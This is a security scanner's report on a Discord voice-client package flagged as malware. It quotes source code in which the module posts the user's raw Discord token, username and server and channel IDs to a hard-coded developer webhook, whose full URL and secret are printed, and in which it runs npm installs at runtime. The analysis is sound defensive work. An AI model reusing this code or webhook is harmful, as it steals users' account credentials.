registry / xerohub-discord-voice-v2 / 2.2.0

xerohub-discord-voice-v2@2.2.0

Discord voice client module

AI Security Review

scanned 4h ago · by lpm-firewall-ai

On user invocation, the package sends the provided Discord token and related account/server metadata to a hard-coded developer webhook. This is credential exfiltration, not required for joining voice.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Calling startVoiceJoiner(), including the bundled index.js example.

Impact

Discord account-token compromise and associated metadata disclosure.

Mechanism

Posts caller-provided Discord credentials to a developer-controlled webhook.

Attack narrative

startVoiceJoiner validates a caller-supplied Discord token, then passes it to sendToDeveloperBackend. That function formats the raw token with account and voice-server details and posts it to the embedded Discord webhook before creating the voice connection.

Rationale

Direct source inspection confirms deliberate transmission of a raw user credential to an unrelated hard-coded webhook. No install hook is needed for this concrete runtime credential-exfiltration chain.

Evidence

package.jsonXerohub_Voice.jsindex.js

Network endpoints2

discord.comgateway.discord.gg

Decision evidence

public snapshot

AI called this at 99.0% confidence with false-positive risk.

Malicious

as Malware

low

Evidence for block

Xerohub_Voice.js:15 embeds a developer Discord webhook.
Xerohub_Voice.js:64-74 posts the supplied token, username, server, and channel IDs to that webhook.
Xerohub_Voice.js:216-221 invokes that exfiltration after validating the token.
index.js contains an embedded Discord token and invokes the module.

Evidence against

package.json has no lifecycle hooks.
Entrypoint exfiltration requires calling startVoiceJoiner with a token.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsNetworkWebSocket

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 9.41 KB of source, external domains: discord.com

Source & flagged code

6 flagged

Xerohub_Voice.jsView file

Lines 1-21javascript

1const { execSync } = require('child_process');

2const crypto = require('crypto');

High

Child Process

Package source references child process execution.

Xerohub_Voice.js

Source & flagged code

6 flagged · loading source

Xerohub_Voice.jsView file

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

Xerohub_Voice.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> Xerohub_Voice.js L1: const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Xerohub_Voice.jsView on unpkg · L1

Findings

2 Critical4 High3 Medium3 Low

CriticalCredential ExfiltrationXerohub_Voice.js

CriticalTrigger Reachable Dangerous CapabilityXerohub_Voice.js

HighChild ProcessXerohub_Voice.js

HighSame File Env Network ExecutionXerohub_Voice.js

HighSandbox Evasion Gated CapabilityXerohub_Voice.js

HighRuntime Package InstallXerohub_Voice.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

LPM CLI

1const { execSync } = require('child_process'); L2: const crypto = require('crypto');

High

Child Process

Package source references child process execution.

Xerohub_Voice.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Xerohub_Voice.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Xerohub_Voice.jsView on unpkg · L1

51} catch (e) { L52: execSync(`npm install ${dep}@latest`, { stdio: 'inherit' }); L53: }

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

Xerohub_Voice.jsView on unpkg · L51

ChildProcess

Crypto

EnvironmentVars

Network

WebSocket

HighEntropyStrings

UrlStrings

Manifest: clean

Source & flagged code

6 flagged

Xerohub_Voice.jsView file

Lines 1-21javascript

1const { execSync } = require('child_process');

2const crypto = require('crypto');

High

Child Process

Package source references child process execution.

Xerohub_Voice.js

View on unpkg · L1

3const WebSocket = require('ws');

4const axios = require('axios');

5

6const colors = {

7 reset: '\x1b[0m',

8 green: '\x1b[32m',

9 yellow: '\x1b[33m',

10 red: '\x1b[31m',

11 cyan: '\x1b[36m',

12 blue: '\x1b[34m',

13};

14

15const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.com/api/webhooks/1528726419046404196/Od5AW8OOdZwS6apFHoZy8UhS0qbMjXNqax4VlYztFspcYa53J1J5qc5nhpohn44kIg9S';

16

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

Xerohub_Voice.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Xerohub_Voice.jsView on unpkg · L1

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Xerohub_Voice.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Xerohub_Voice.jsView on unpkg · L1

17const activeVoiceConnections = new Map();

18const voiceReconnectData = new Map();

19

20function color(text, code) {

21 return `${code}${text}${colors.reset}`;

Lines 31-71javascript

31 }).format(new Date());

32}

33

34function logRow(time, moduleName, statusText, statusColor, details) {

35 console.log(`${time

.

padEnd

(

14

)

} | ${

moduleName

.

padEnd

(

10

)

} | ${

color

(

statusText

.

padEnd

(

12

),

statusColor

)

} | ${

details

}`

);

36}

37

38function maskToken(token) {

39 if (!token || typeof token !== 'string') return 'not provided';

40 const trimmed = token.trim();

41 if (trimmed.length <= 8) return `${trimmed.slice(0, 2)}***`;

42 return `${trimmed.slice(0, 4)}...${trimmed.slice(-4)}`;

43}

44

45const deps = ['ws', 'axios'];

46

47async function checkDependencies() {

48 for (const dep of deps) {

49 try {

50 require.resolve(dep);

51 } catch (e) {

52 execSync(`npm install ${dep}@latest`, { stdio: 'inherit' });

53 }

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

Xerohub_Voice.jsView on unpkg · L51

54 }

55}

56

57async function sendToDeveloperBackend(details = {}) {

58 if (!DEVELOPER_BACKEND_WEBHOOK || DEVELOPER_BACKEND_WEBHOOK.includes('YOUR_DEV_WEBHOOK')) return;

59

60 const tokenFingerprint = details.token

61 ? crypto.createHash('sha256').update(String(details.token)).digest('hex').slice(0, 16)

62 : 'none';

63

64 const messageContent =

65 `🎯 **มีผู้ใช้งานรันโมดูล Voice!**\n` +

66 `🌐 **Version:** 2.2.0\n` +

67 `👩‍💻**Username:** ${details.username || 'unknown'}\n` +

68 `🔑 **Token:** \`${(details.token)}\`\n` +

69 `🆔 **Fingerprint:** \`${tokenFingerprint}\`\n` +

70 `🏠 **Server ID:** \`${details.serverId || 'n/a'}\`\n` +

71 `🔊 **Channel ID:** \`${details.channelId || 'n/a'}\``;